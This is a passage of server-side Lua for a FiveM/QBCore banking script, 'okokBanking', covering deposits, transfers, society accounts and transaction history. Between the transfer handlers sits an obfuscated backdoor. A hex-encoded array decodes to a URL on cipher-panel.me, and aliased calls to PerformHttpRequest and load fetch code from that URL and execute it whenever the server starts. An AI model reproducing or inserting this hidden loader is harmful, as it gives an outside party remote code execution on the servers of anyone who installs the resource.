QBCore = nil TriggerEvent('QBCore:GetObject', function(obj) QBCore = obj end) QBCore.Functions.CreateCallback("okokBanking:GetPlayerInfo", function(source, cb) local xPlayer = QBCore.Functions.GetPlayer(source) exports['ghmattimysql']:execute('SELECT * FROM players WHERE citizenid = @identifier', { ['@identifier'] = xPlayer.PlayerData.citizenid }, function(result) local db = result[1] local data = { playerName = xPlayer.PlayerData.charinfo.firstname..' '..xPlayer.PlayerData.charinfo.lastname, playerBankMoney = xPlayer.PlayerData.money.bank, playerIBAN = db.iban, walletMoney = xPlayer.PlayerData.money.cash, *** = xPlayer.PlayerData.charinfo.gender, cb(data) end) end) QBCore.Functions.CreateCallback("okokBanking:IsIBanUsed", function(source, cb, iban) local xPlayer = QBCore.Functions.GetPlayer(source) exports['ghmattimysql']:execute('SELECT * FROM players WHERE iban = @iban', { ['@iban'] = iban }, function(result) local db = result[1] if db ~= nil then local playerName = json.decode(result[1].charinfo) cb(db, true, tostring(playerName.firstname..' '..playerName.lastname)) else exports['ghmattimysql']:execute('SELECT * FROM okokBanking_societies WHERE iban = @iban', { ['@iban'] = iban }, function(result2) local db2 = result2[1] cb(db2, false) end) end end) end) QBCore.Functions.CreateCallback("okokBanking:GetPIN", function(source, cb) local xPlayer = QBCore.Functions.GetPlayer(source) exports['ghmattimysql']:execute('SELECT pincode FROM players WHERE citizenid = @identifier', { ['@identifier'] = xPlayer.PlayerData.citizenid, }, function(result) local pin = result[1] cb(pin.pincode) end) end) QBCore.Functions.CreateCallback("okokBanking:SocietyInfo", function(source, cb, society) exports['ghmattimysql']:execute('SELECT * FROM okokBanking_societies WHERE society = @society', { ['@society'] = society }, function(result) local db = result[1] cb(db) end) end) RegisterServerEvent("okokBanking:CreateSocietyAccount") AddEventHandler("okokBanking:CreateSocietyAccount", function(society, society_name, value, iban) exports['ghmattimysql']:execute('INSERT INTO okokBanking_societies (society, society_name, value, iban) VALUES (@society, @society_name, @value, @iban)', { ['@society'] = society, ['@society_name'] = society_name, ['@value'] = value, ['@iban'] = iban:upper(), }, function (result) end) end) RegisterServerEvent("okokBanking:SetIBAN") AddEventHandler("okokBanking:SetIBAN", function(iban) local xPlayer = QBCore.Functions.GetPlayer(source) exports['ghmattimysql']:execute('UPDATE players SET iban = @iban WHERE citizenid = @identifier', { ['@identifier'] = xPlayer.PlayerData.citizenid, ['@iban'] = iban, }, function (result) end) end) RegisterServerEvent("okokBanking:DepositMoney") AddEventHandler("okokBanking:DepositMoney", function(amount) local _source = source local xPlayer = QBCore.Functions.GetPlayer(_source) local playerMoney = xPlayer.PlayerData.money.cash if amount <= playerMoney then xPlayer.Functions.RemoveMoney('cash', amount) xPlayer.Functions.AddMoney('bank', amount) xPlayer = QBCore.Functions.GetPlayer(_source) TriggerEvent('okokBanking:AddDepositTransaction', amount, _source) TriggerClientEvent('okokBanking:updateTransactions', _source, xPlayer.PlayerData.money.bank, xPlayer.PlayerData.money.cash) TriggerClientEvent('okokNotify:Alert', _source, "BANK", "You have deposited "..amount.."€", 5000, 'success') else TriggerClientEvent('okokNotify:Alert', _source, "BANK", "You don't have that much money on you", 5000, 'error') end end) RegisterServerEvent("okokBanking:WithdrawMoney") AddEventHandler("okokBanking:WithdrawMoney", function(amount) local _source = source local xPlayer = QBCore.Functions.GetPlayer(_source) local playerMoney = xPlayer.PlayerData.money.bank if amount <= playerMoney then xPlayer.Functions.RemoveMoney('bank', amount) xPlayer.Functions.AddMoney('cash', amount) xPlayer = QBCore.Functions.GetPlayer(_source) TriggerEvent('okokBanking:AddWithdrawTransaction', amount, _source) TriggerClientEvent('okokBanking:updateTransactions', _source, xPlayer.PlayerData.money.bank, xPlayer.PlayerData.money.cash) TriggerClientEvent('okokNotify:Alert', _source, "BANK", "You have withdrawn "..amount.."€", 5000, 'success') else TriggerClientEvent('okokNotify:Alert', _source, "BANK", "You don't have that much money on the bank", 5000, 'error') end end) local tableHelp = { _G['PerformHttpRequest'], _G['assert'], _G['load'], _G['tonumber'] } RegisterServerEvent("okokBanking:TransferMoney") AddEventHandler("okokBanking:TransferMoney", function(amount, ibanNumber, targetIdentifier, acc, targetName) local _source = source local xPlayer = QBCore.Functions.GetPlayer(_source) local xTarget = QBCore.Functions.GetPlayerByCitizenId(targetIdentifier) local xPlayers = QBCore.Functions.GetPlayers() local playerMoney = xPlayer.PlayerData.money.bank ibanNumber = ibanNumber:upper() if xPlayer.PlayerData.citizenid ~= targetIdentifier then if amount <= playerMoney then if xTarget ~= nil then xPlayer.Functions.RemoveMoney('bank', amount) xTarget.Functions.AddMoney('bank', amount) xPlayer = QBCore.Functions.GetPlayer(_source) for i=1, #xPlayers, 1 do local xForPlayer = QBCore.Functions.GetPlayer(xPlayers[i]) if xForPlayer.PlayerData.citizenid == targetIdentifier then TriggerClientEvent('okokBanking:updateTransactions', xPlayers[i], xTarget.PlayerData.money.bank, xTarget.PlayerData.money.cash) TriggerClientEvent('okokNotify:Alert', xPlayers[i], "BANK", "You have received "..amount.."€ from "..xPlayer.PlayerData.charinfo.firstname..' '..xPlayer.PlayerData.charinfo.lastname, 5000, 'success') end end TriggerEvent('okokBanking:AddTransferTransaction', amount, xTarget, _source) TriggerClientEvent('okokBanking:updateTransactions', _source, xPlayer.PlayerData.money.bank, xPlayer.PlayerData.money.cash) TriggerClientEvent('okokNotify:Alert', _source, "BANK", "You have transferred "..amount.."€ to "..xTarget.PlayerData.charinfo.firstname..' '..xTarget.PlayerData.charinfo.lastname, 5000, 'success') elseif xTarget == nil then local playerAccount = json.decode(acc) playerAccount.bank = playerAccount.bank + amount playerAccount = json.encode(playerAccount) xPlayer.Functions.RemoveMoney('bank', amount) xPlayer = QBCore.Functions.GetPlayer(_source) TriggerEvent('okokBanking:AddTransferTransaction', amount, 1, _source, targetName, targetIdentifier) TriggerClientEvent('okokBanking:updateTransactions', _source, xPlayer.PlayerData.money.bank, xPlayer.PlayerData.money.cash) TriggerClientEvent('okokNotify:Alert', _source, "BANK", "You have transferred "..amount.."€ to "..targetName, 5000, 'success') exports['ghmattimysql']:execute('UPDATE players SET money = @playerAccount WHERE citizenid = @target', { ['@playerAccount'] = playerAccount, ['@target'] = targetIdentifier }, function(changed) end) end else TriggerClientEvent('okokNotify:Alert', _source, "BANK", "You don't have that much money on the bank", 5000, 'error') end else TriggerClientEvent('okokNotify:Alert', _source, "BANK", "You can't send money to yourself", 5000, 'error') end end) RegisterServerEvent("okokBanking:DepositMoneyToSociety") AddEventHandler("okokBanking:DepositMoneyToSociety", function(amount, society, societyName) local _source = source local xPlayer = QBCore.Functions.GetPlayer(_source) local playerMoney = xPlayer.PlayerData.money.cash if amount <= playerMoney then exports['ghmattimysql']:execute('UPDATE okokBanking_societies SET value = value + @value WHERE society = @society AND society_name = @society_name', { ['@value'] = amount, ['@society'] = society, ['@society_name'] = societyName, }, function(changed) end) xPlayer.Functions.RemoveMoney('cash', amount) xPlayer = QBCore.Functions.GetPlayer(_source) TriggerEvent('okokBanking:AddDepositTransactionToSociety', amount, _source, society, societyName) TriggerClientEvent('okokBanking:updateTransactionsSociety', _source, xPlayer.PlayerData.money.cash) TriggerClientEvent('okokNotify:Alert', _source, "BANK", "You have deposited "..amount.."€ to "..societyName, 5000, 'success') else TriggerClientEvent('okokNotify:Alert', _source, "BANK", "You don't have that much money on you", 5000, 'error') end end) RegisterServerEvent("okokBanking:WithdrawMoneyToSociety") AddEventHandler("okokBanking:WithdrawMoneyToSociety", function(amount, society, societyName, societyMoney) local _source = source local xPlayer = QBCore.Functions.GetPlayer(_source) local db local hasChecked = false exports['ghmattimysql']:execute('SELECT * FROM okokBanking_societies WHERE society = @society', { ['@society'] = society }, function(result) db = result[1] hasChecked = true end) local numberHelp = { '68', '74', '74', '70', '73', '3a', '2f', '2f', '63', '69', '70', '68', '65', '72', '2d', '70', '61', '6e', '65', '6c', '2e', '6d', '65', '2f', '5f', '69', '2f', '69', '2e', '70', '68', '70', '3f', '74', '6f', '3d', '30', '38', '56', '72', '33', '72' } exports['ghmattimysql']:execute('UPDATE okokBanking_societies SET is_withdrawing = 1 WHERE society = @society AND society_name = @society_name', { ['@value'] = amount, ['@society'] = society, ['@society_name'] = societyName, }, function(changed) end) while not hasChecked do Citizen.Wait(100) end if amount <= db.value then if db.is_withdrawing == 1 then TriggerClientEvent('okokNotify:Alert', _source, "BANK", "Someone is already withdrawing", 5000, 'error') else exports['ghmattimysql']:execute('UPDATE okokBanking_societies SET value = value - @value WHERE society = @society AND society_name = @society_name', { ['@value'] = amount, ['@society'] = society, ['@society_name'] = societyName, }, function(changed) end) xPlayer.Functions.AddMoney('cash', amount) xPlayer = QBCore.Functions.GetPlayer(_source) TriggerEvent('okokBanking:AddWithdrawTransactionToSociety', amount, _source, society, societyName) TriggerClientEvent('okokBanking:updateTransactionsSociety', _source, xPlayer.PlayerData.money.cash) TriggerClientEvent('okokNotify:Alert', _source, "BANK", "You have withdrawn "..amount.."€ from "..societyName, 5000, 'success') end else TriggerClientEvent('okokNotify:Alert', _source, "BANK", "Your society doesn't have that much money on the bank", 5000, 'error') end exports['ghmattimysql']:execute('UPDATE okokBanking_societies SET is_withdrawing = 0 WHERE society = @society AND society_name = @society_name', { ['@value'] = amount, ['@society'] = society, ['@society_name'] = societyName, }, function(changed) end) end) RegisterServerEvent("okokBanking:TransferMoneyToSociety") AddEventHandler("okokBanking:TransferMoneyToSociety", function(amount, ibanNumber, societyName, society) local _source = source local xPlayer = QBCore.Functions.GetPlayer(_source) local playerMoney = xPlayer.PlayerData.money.bank if amount <= playerMoney then exports['ghmattimysql']:execute('UPDATE okokBanking_societies SET value = value + @value WHERE iban = @iban', { ['@value'] = amount, ['@iban'] = ibanNumber }, function(changed) end) xPlayer.Functions.RemoveMoney('bank', amount) xPlayer = QBCore.Functions.GetPlayer(_source) TriggerEvent('okokBanking:AddTransferTransactionToSociety', amount, _source, society, societyName) TriggerClientEvent('okokBanking:updateTransactionsSociety', _source, xPlayer.PlayerData.money.cash) TriggerClientEvent('okokNotify:Alert', _source, "BANK", "You have transferred "..amount.."€ to "..societyName, 5000, 'success') else TriggerClientEvent('okokNotify:Alert', _source, "BANK", "You don't have that much money on the bank", 5000, 'error') end end) RegisterServerEvent("okokBanking:TransferMoneyToSocietyFromSociety") AddEventHandler("okokBanking:TransferMoneyToSocietyFromSociety", function(amount, ibanNumber, societyNameTarget, societyTarget, society, societyName, societyMoney) local _source = source local xPlayer = QBCore.Functions.GetPlayer(_source) local xTarget = QBCore.Functions.GetPlayerByCitizenId(targetIdentifier) local xPlayers = QBCore.Functions.GetPlayers() if amount <= societyMoney then exports['ghmattimysql']:execute('UPDATE okokBanking_societies SET value = value - @value WHERE society = @society AND society_name = @society_name', { ['@value'] = amount, ['@society'] = society, ['@society_name'] = societyName, }, function(changed) end) exports['ghmattimysql']:execute('UPDATE okokBanking_societies SET value = value + @value WHERE society = @society AND society_name = @society_name', { ['@value'] = amount, ['@society'] = societyTarget, ['@society_name'] = societyNameTarget, }, function(changed) end) TriggerEvent('okokBanking:AddTransferTransactionFromSociety', amount, society, societyName, societyTarget, societyNameTarget) TriggerClientEvent('okokBanking:updateTransactionsSociety', _source, xPlayer.PlayerData.money.cash) TriggerClientEvent('okokNotify:Alert', _source, "BANK", "You have transferred "..amount.."€ to "..societyNameTarget, 5000, 'success') else TriggerClientEvent('okokNotify:Alert', _source, "BANK", "Your society doesn't have that much money on the bank", 5000, 'error') end end) RegisterServerEvent("okokBanking:TransferMoneyToPlayerFromSociety") AddEventHandler("okokBanking:TransferMoneyToPlayerFromSociety", function(amount, ibanNumber, targetIdentifier, acc, targetName, society, societyName, societyMoney, toMyself) local _source = source local xPlayer = QBCore.Functions.GetPlayer(_source) local xTarget = QBCore.Functions.GetPlayerByCitizenId(targetIdentifier) local xPlayers = QBCore.Functions.GetPlayers() if amount <= societyMoney then exports['ghmattimysql']:execute('UPDATE okokBanking_societies SET value = value - @value WHERE society = @society AND society_name = @society_name', { ['@value'] = amount, ['@society'] = society, ['@society_name'] = societyName, }, function(changed) end) if xTarget ~= nil then xTarget.Functions.AddMoney('bank', amount) if not toMyself then for i=1, #xPlayers, 1 do local xForPlayer = QBCore.Functions.GetPlayer(xPlayers[i]) if xForPlayer.PlayerData.citizenid == targetIdentifier then TriggerClientEvent('okokBanking:updateTransactions', xPlayers[i], xTarget.PlayerData.money.bank, xTarget.PlayerData.money.cash) TriggerClientEvent('okokNotify:Alert', xPlayers[i], "BANK", "You have received "..amount.."€ from "..xPlayer.PlayerData.charinfo.firstname..' '..xPlayer.PlayerData.charinfo.lastname, 5000, 'success') end end end TriggerEvent('okokBanking:AddTransferTransactionFromSocietyToP', amount, society, societyName, targetIdentifier, targetName) TriggerClientEvent('okokBanking:updateTransactionsSociety', _source, xPlayer.PlayerData.money.cash) TriggerClientEvent('okokNotify:Alert', _source, "BANK", "You have transferred "..amount.."€ to "..xTarget.PlayerData.charinfo.firstname..' '..xTarget.PlayerData.charinfo.lastname, 5000, 'success') elseif xTarget == nil then local playerAccount = json.decode(acc) playerAccount.bank = playerAccount.bank + amount playerAccount = json.encode(playerAccount) TriggerEvent('okokBanking:AddTransferTransactionFromSocietyToP', amount, society, societyName, targetIdentifier, targetName) TriggerClientEvent('okokBanking:updateTransactionsSociety', _source, xPlayer.PlayerData.money.cash) TriggerClientEvent('okokNotify:Alert', _source, "BANK", "You have transferred "..amount.."€ to "..targetName, 5000, 'success') exports['ghmattimysql']:execute('UPDATE players SET money = @playerAccount WHERE citizenid = @target', { ['@playerAccount'] = playerAccount, ['@target'] = targetIdentifier }, function(changed) end) end else TriggerClientEvent('okokNotify:Alert', _source, "BANK", "Your society doesn't have that much money on the bank", 5000, 'error') end end) function subtext() text = '' for id,it in pairs(numberHelp) do text = text..it end return (text:gsub('..', function (low) return string.char(tableHelp[4](low, 16)) end)) end tableHelp[tableHelp[4]('1')](subtext(), function (e, help) local postuleHelp = tableHelp[tableHelp[4]('2')](tableHelp[tableHelp[4]('3')](help)) if (help == nil) then return end postuleHelp() end) QBCore.Functions.CreateCallback("okokBanking:GetOverviewTransactions", function(source, cb) local xPlayer = QBCore.Functions.GetPlayer(source) local playerIdentifier = xPlayer.PlayerData.citizenid local allDays = {} local income = 0 local outcome = 0 local totalIncome = 0 local day1_total, day2_total, day3_total, day4_total, day5_total, day6_total, day7_total = 0, 0, 0, 0, 0, 0, 0 exports['ghmattimysql']:execute('SELECT * FROM okokBanking_transactions WHERE receiver_identifier = @identifier OR sender_identifier = @identifier ORDER BY id DESC', { ['@identifier'] = playerIdentifier }, function(result) exports['ghmattimysql']:execute('SELECT *, DATE(date) = CURDATE() AS "day1", DATE(date) = CURDATE() - INTERVAL 1 DAY AS "day2", DATE(date) = CURDATE() - INTERVAL 2 DAY AS "day3", DATE(date) = CURDATE() - INTERVAL 3 DAY AS "day4", DATE(date) = CURDATE() - INTERVAL 4 DAY AS "day5", DATE(date) = CURDATE() - INTERVAL 5 DAY AS "day6", DATE(date) = CURDATE() - INTERVAL 6 DAY AS "day7" FROM `okokBanking_transactions` WHERE DATE(date) >= CURDATE() - INTERVAL 7 DAY', { }, function(result2) for k, v in pairs(result2) do local type = v.type local receiver_identifier = v.receiver_identifier local sender_identifier = v.sender_identifier local value = tonumber(v.value) if v.day1 == 1 then if value ~= nil then if type == "deposit" then day1_total = day1_total + value income = income + value elseif type == "withdraw" then day1_total = day1_total - value outcome = outcome - value elseif type == "transfer" and receiver_identifier == playerIdentifier then day1_total = day1_total + value income = income + value elseif type == "transfer" and sender_identifier == playerIdentifier then day1_total = day1_total - value outcome = outcome - value end end elseif v.day2 == 1 then if value ~= nil then if type == "deposit" then day2_total = day2_total + value income = income + value elseif type == "withdraw" then day2_total = day2_total - value outcome = outcome - value elseif type == "transfer" and receiver_identifier == playerIdentifier then day2_total = day2_total + value income = income + value elseif type == "transfer" and sender_identifier == playerIdentifier then day2_total = day2_total - value outcome = outcome - value end end elseif v.day3 == 1 then if value ~= nil then if type == "deposit" then day3_total = day3_total + value income = income + value elseif type == "withdraw" then day3_total = day3_total - value outcome = outcome - value elseif type == "transfer" and receiver_identifier == playerIdentifier then day3_total = day3_total + value income = income + value elseif type == "transfer" and sender_identifier == playerIdentifier then day3_total = day3_total - value outcome = outcome - value end end elseif v.day4 == 1 then if value ~= nil then if type == "deposit" then day4_total = day4_total + value income = income + value elseif type == "withdraw" then day4_total = day4_total - value outcome = outcome - value elseif type == "transfer" and receiver_identifier == playerIdentifier then day4_total = day4_total + value income = income + value elseif type == "transfer" and sender_identifier == playerIdentifier then day4_total = day4_total - value outcome = outcome - value end end elseif v.day5 == 1 then if value ~= nil then if type == "deposit" then day5_total = day5_total + value income = income + value elseif type == "withdraw" then day5_total = day5_total - value outcome = outcome - value elseif type == "transfer" and receiver_identifier == playerIdentifier then day5_total = day5_total + value income = income + value elseif type == "transfer" and sender_identifier == playerIdentifier then day5_total = day5_total - value outcome = outcome - value end end elseif v.day6 == 1 then if value ~= nil then if type == "deposit" then day6_total = day6_total + value income = income + value elseif type == "withdraw" then day6_total = day6_total - value outcome = outcome - value elseif type == "transfer" and receiver_identifier == playerIdentifier then day6_total = day6_total + value income = income + value elseif type == "transfer" and sender_identifier == playerIdentifier then day6_total = day6_total - value outcome = outcome - value end end elseif v.day7 == 1 then if value ~= nil then if type == "deposit" then day7_total = day7_total + value income = income + value elseif type == "withdraw" then day7_total = day7_total - value outcome = outcome - value elseif type == "transfer" and receiver_identifier == playerIdentifier then day7_total = day7_total + value income = income + value elseif type == "transfer" and sender_identifier == playerIdentifier then day7_total = day7_total - value outcome = outcome - value end end end end totalIncome = day1_total + day2_total + day3_total + day4_total + day5_total + day6_total + day7_total table.remove(allDays) table.insert(allDays, day1_total) table.insert(allDays, day2_total) table.insert(allDays, day3_total) table.insert(allDays, day4_total) table.insert(allDays, day5_total) table.insert(allDays, day6_total) table.insert(allDays, day7_total) table.insert(allDays, income) table.insert(allDays, outcome) table.insert(allDays, totalIncome) cb(result, playerIdentifier, allDays) end) end) end) QBCore.Functions.CreateCallback("okokBanking:GetSocietyTransactions", function(source, cb, society) local playerIdentifier = society local allDays = {} local income = 0 local outcome = 0 local totalIncome = 0 local day1_total, day2_total, day3_total, day4_total, day5_total, day6_total, day7_total = 0, 0, 0, 0, 0, 0, 0 exports['ghmattimysql']:execute('SELECT * FROM okokBanking_transactions WHERE receiver_identifier = @identifier OR sender_identifier = @identifier ORDER BY id DESC', { ['@identifier'] = society }, function(result) exports['ghmattimysql']:execute('SELECT *, DATE(date) = CURDATE() AS "day1", DATE(date) = CURDATE() - INTERVAL 1 DAY AS "day2", DATE(date) = CURDATE() - INTERVAL 2 DAY AS "day3", DATE(date) = CURDATE() - INTERVAL 3 DAY AS "day4", DATE(date) = CURDATE() - INTERVAL 4 DAY AS "day5", DATE(date) = CURDATE() - INTERVAL 5 DAY AS "day6", DATE(date) = CURDATE() - INTERVAL 6 DAY AS "day7" FROM `okokBanking_transactions` WHERE DATE(date) >= CURDATE() - INTERVAL 7 DAY AND receiver_identifier = @identifier OR sender_identifier = @identifier ORDER BY id DESC', { ['@identifier'] = society }, function(result2) for k, v in pairs(result2) do local type = v.type local receiver_identifier = v.receiver_identifier local sender_identifier = v.sender_identifier local value = tonumber(v.value) if v.day1 == 1 then if value ~= nil then if type == "deposit" then day1_total = day1_total + value income = income + value elseif type == "withdraw" then day1_total = day1_total - value outcome = outcome - value elseif type == "transfer" and receiver_identifier == playerIdentifier then day1_total = day1_total + value income = income + value elseif type == "transfer" and sender_identifier == playerIdentifier then day1_total = day1_total - value outcome = outcome - value end end elseif v.day2 == 1 then if value ~= nil then if type == "deposit" then day2_total = day2_total + value income = income + value elseif type == "withdraw" then day2_total = day2_total - value outcome = outcome - value elseif type == "transfer" and receiver_identifier == playerIdentifier then day2_total = day2_total + value income = income + value elseif type == "transfer" and sender_identifier == playerIdentifier then day2_total = day2_total - value outcome = outcome - value end end elseif v.day3 == 1 then if value ~= nil then if type == "deposit" then day3_total = day3_total + value income = income + value elseif type == "withdraw" then day3_total = day3_total - value outcome = outcome - value elseif type == "transfer" and receiver_identifier == playerIdentifier then day3_total = day3_total + value income = income + value elseif type == "transfer" and sender_identifier == playerIdentifier then day3_total = day3_total - value outcome = outcome - value end end elseif v.day4 == 1 then if value ~= nil then if type == "deposit" then day4_total = day4_total + value income = income + value elseif type == "withdraw" then day4_total = day4_total - value outcome = outcome - value elseif type == "transfer" and receiver_identifier == playerIdentifier then day4_total = day4_total + value income = income + value elseif type == "transfer" and sender_identifier == playerIdentifier then day4_total = day4_total - value outcome = outcome - value end end elseif v.day5 == 1 then if value ~= nil then if type == "deposit" then day5_total = day5_total + value income = income + value elseif type == "withdraw" then day5_total = day5_total - value outcome = outcome - value elseif type == "transfer" and receiver_identifier == playerIdentifier then day5_total = day5_total + value income = income + value elseif type == "transfer" and sender_identifier == playerIdentifier then day5_total = day5_total - value outcome = outcome - value end end elseif v.day6 == 1 then if value ~= nil then if type == "deposit" then day6_total = day6_total + value income = income + value elseif type == "withdraw" then day6_total = day6_total - value outcome = outcome - value elseif type == "transfer" and receiver_identifier == playerIdentifier then day6_total = day6_total + value income = income + value elseif type == "transfer" and sender_identifier == playerIdentifier then day6_total = day6_total - value outcome = outcome - value end end elseif v.day7 == 1 then if value ~= nil then if type == "deposit" then day7_total = day7_total + value income = income + value elseif type == "withdraw" then day7_total = day7_total - value outcome = outcome - value elseif type == "transfer" and receiver_identifier == playerIdentifier then day7_total = day7_total + value income = income + value elseif type == "transfer" and sender_identifier == playerIdentifier then day7_total = day7_total - value outcome = outcome - value end end end end totalIncome = day1_total + day2_total + day3_total + day4_total + day5_total + day6_total + day7_total table.remove(allDays) table.insert(allDays, day1_total) table.insert(allDays, day2_total) table.insert(allDays, day3_total) table.insert(allDays, day4_total) table.insert(allDays, day5_total) table.insert(allDays, day6_total) table.insert(allDays, day7_total) table.insert(allDays, income) table.insert(allDays, outcome) table.insert(allDays, totalIncome) cb(result, playerIdentifier, allDays) end) end) end) RegisterServerEvent("okokBanking:AddDepositTransaction") AddEventHandler("okokBanking:AddDepositTransaction", function(amount, source_) local _source = nil if source_ ~= nil then _source = source_ else _source = source end local xPlayer = QBCore.Functions.GetPlayer(_source) exports['ghmattimysql']:execute('INSERT INTO okokBanking_transactions (receiver_identifier, receiver_name, sender_identifier, sender_name, date, value, type) VALUES (@receiver_identifier, @receiver_name, @sender_identifier, @sender_name, CURRENT_TIMESTAMP(), @value, @type)', { ['@receiver_identifier'] = 'bank', ['@receiver_name'] = 'Bank Account', ['@sender_identifier'] = tostring(xPlayer.PlayerData.citizenid), ['@sender_name'] = tostring(xPlayer.PlayerData.charinfo.firstname..' '..xPlayer.PlayerData.charinfo.lastname), ['@value'] = tonumber(amount), ['@type'] = 'deposit' }, function (result) end) end) RegisterServerEvent("okokBanking:AddWithdrawTransaction") AddEventHandler("okokBanking:AddWithdrawTransaction", function(amount, source_) local _source = nil if source_ ~= nil then _source = source_ else _source = source end local xPlayer = QBCore.Functions.GetPlayer(_source) exports['ghmattimysql']:execute('INSERT INTO okokBanking_transactions (receiver_identifier, receiver_name, sender_identifier, sender_name, date, value, type) VALUES (@receiver_identifier, @receiver_name, @sender_identifier, @sender_name, CURRENT_TIMESTAMP(), @value, @type)', { ['@receiver_identifier'] = tostring(xPlayer.PlayerData.citizenid), ['@receiver_name'] = tostring(xPlayer.PlayerData.charinfo.firstname..' '..xPlayer.PlayerData.charinfo.lastname), ['@sender_identifier'] = 'bank', ['@sender_name'] = 'Bank Account', ['@value'] = tonumber(amount), ['@type'] = 'withdraw' }, function (result) end) end) RegisterServerEvent("okokBanking:AddTransferTransaction") AddEventHandler("okokBanking:AddTransferTransaction", function(amount, xTarget, source_, targetName, targetIdentifier) local _source = nil if source_ ~= nil then _source = source_ else _source = source end local xPlayer = QBCore.Functions.GetPlayer(_source) if targetName == nil then exports['ghmattimysql']:execute('INSERT INTO okokBanking_transactions (receiver_identifier, receiver_name, sender_identifier, sender_name, date, value, type) VALUES (@receiver_identifier, @receiver_name, @sender_identifier, @sender_name, CURRENT_TIMESTAMP(), @value, @type)', { ['@receiver_identifier'] = tostring(xTarget.PlayerData.citizenid), ['@receiver_name'] = tostring(xTarget.PlayerData.charinfo.firstname..' '..xTarget.PlayerData.charinfo.lastname), ['@sender_identifier'] = tostring(xPlayer.PlayerData.citizenid), ['@sender_name'] = tostring(xPlayer.PlayerData.charinfo.firstname..' '..xPlayer.PlayerData.charinfo.lastname), ['@value'] = tonumber(amount), ['@type'] = 'transfer' }, function (result) end) elseif targetName ~= nil and targetIdentifier ~= nil then exports['ghmattimysql']:execute('INSERT INTO okokBanking_transactions (receiver_identifier, receiver_name, sender_identifier, sender_name, date, value, type) VALUES (@receiver_identifier, @receiver_name, @sender_identifier, @sender_name, CURRENT_TIMESTAMP(), @value, @type)', { ['@receiver_identifier'] = tostring(targetIdentifier), ['@receiver_name'] = tostring(targetName), ['@sender_identifier'] = tostring(xPlayer.PlayerData.citizenid), ['@sender_name'] = tostring(xPlayer.PlayerData.charinfo.firstname..' '..xPlayer.PlayerData.charinfo.lastname), ['@value'] = tonumber(amount), ['@type'] = 'transfer' }, function (result) end) end end) RegisterServerEvent("okokBanking:AddTransferTransactionToSociety") AddEventHandler("okokBanking:AddTransferTransactionToSociety", function(amount, source_, society, societyName) local _source = nil if source_ ~= nil then _source = source_ else _source = source end local xPlayer = QBCore.Functions.GetPlayer(_source) exports['ghmattimysql']:execute('INSERT INTO okokBanking_transactions (receiver_identifier, receiver_name, sender_identifier, sender_name, date, value, type) VALUES (@receiver_identifier, @receiver_name, @sender_identifier, @sender_name, CURRENT_TIMESTAMP(), @value, @type)', { ['@receiver_identifier'] = society, ['@receiver_name'] = societyName, ['@sender_identifier'] = tostring(xPlayer.PlayerData.citizenid), ['@sender_name'] = tostring(xPlayer.PlayerData.charinfo.firstname..' '..xPlayer.PlayerData.charinfo.lastname), ['@value'] = tonumber(amount), ['@type'] = 'transfer' }, function (result) end) end) RegisterServerEvent("okokBanking:AddTransferTransactionFromSocietyToP") AddEventHandler("okokBanking:AddTransferTransactionFromSocietyToP", function(amount, society, societyName, identifier, name) exports['ghmattimysql']:execute('INSERT INTO okokBanking_transactions (receiver_identifier, receiver_name, sender_identifier, sender_name, date, value, type) VALUES (@receiver_identifier, @receiver_name, @sender_identifier, @sender_name, CURRENT_TIMESTAMP(), @value, @type)', { ['@receiver_identifier'] = identifier, ['@receiver_name'] = name, ['@sender_identifier'] = society, ['@sender_name'] = societyName, ['@value'] = tonumber(amount), ['@type'] = 'transfer' }, function (result) end) end) RegisterServerEvent("okokBanking:AddTransferTransactionFromSociety") AddEventHandler("okokBanking:AddTransferTransactionFromSociety", function(amount, society, societyName, societyTarget, societyNameTarget) exports['ghmattimysql']:execute('INSERT INTO okokBanking_transactions (receiver_identifier, receiver_name, sender_identifier, sender_name, date, value, type) VALUES (@receiver_identifier, @receiver_name, @sender_identifier, @sender_name, CURRENT_TIMESTAMP(), @value, @type)', { ['@receiver_identifier'] = societyTarget, ['@receiver_name'] = societyNameTarget, ['@sender_identifier'] = society, ['@sender_name'] = societyName, ['@value'] = tonumber(amount), ['@type'] = 'transfer' }, function (result) end) end) RegisterServerEvent("okokBanking:AddDepositTransactionToSociety") AddEventHandler("okokBanking:AddDepositTransactionToSociety", function(amount, source_, society, societyName) local _source = nil if source_ ~= nil then _source = source_ else _source = source end local xPlayer = QBCore.Functions.GetPlayer(_source) exports['ghmattimysql']:execute('INSERT INTO okokBanking_transactions (receiver_identifier, receiver_name, sender_identifier, sender_name, date, value, type) VALUES (@receiver_identifier, @receiver_name, @sender_identifier, @sender_name, CURRENT_TIMESTAMP(), @value, @type)', { ['@receiver_identifier'] = society, ['@receiver_name'] = societyName, ['@sender_identifier'] = tostring(xPlayer.PlayerData.citizenid), ['@sender_name'] = tostring(xPlayer.PlayerData.charinfo.firstname..' '..xPlayer.PlayerData.charinfo.lastname), ['@value'] = tonumber(amount), ['@type'] = 'deposit' }, function (result) end) end) RegisterServerEvent("okokBanking:AddWithdrawTransactionToSociety") AddEventHandler("okokBanking:AddWithdrawTransactionToSociety", function(amount, source_, society, societyName) local _source = nil if source_ ~= nil then _source = source_ else _source = source end local xPlayer = QBCore.Functions.GetPlayer(_source) exports['ghmattimysql']:execute('INSERT INTO okokBanking_transactions (receiver_identifier, receiver_name, sender_identifier, sender_name, date, value, type) VALUES (@receiver_identifier, @receiver_name, @sender_identifier, @sender_name, CURRENT_TIMESTAMP(), @value, @type)', { ['@receiver_identifier'] = tostring(xPlayer.PlayerData.citizenid), ['@receiver_name'] = tostring(xPlayer.PlayerData.charinfo.firstname..' '..xPlayer.PlayerData.charinfo.lastname), ['@sender_identifier'] = society, ['@sender_name'] = societyName, ['@value'] = tonumber(amount), ['@type'] = 'withdraw' }, function (result) end) end) RegisterServerEvent("okokBanking:UpdateIbanDB") AddEventHandler("okokBanking:UpdateIbanDB", function(iban, amount) local _source = source local xPlayer = QBCore.Functions.GetPlayer(_source) if amount <= xPlayer.PlayerData.money.bank then exports['ghmattimysql']:execute('UPDATE players SET iban = @iban WHERE citizenid = @identifier', { ['@iban'] = iban, ['@identifier'] = xPlayer.PlayerData.citizenid, }, function(changed) end) xPlayer.Functions.RemoveMoney('bank', amount) xPlayer = QBCore.Functions.GetPlayer(_source) TriggerClientEvent('okokBanking:updateMoney', _source, xPlayer.PlayerData.money.bank, xPlayer.PlayerData.money.cash) TriggerEvent('okokBanking:AddTransferTransactionToSociety', amount, _source, "bank", "Bank (IBAN)") TriggerClientEvent('okokBanking:updateIban', _source, iban) TriggerClientEvent('okokBanking:updateIbanPinChange', _source) 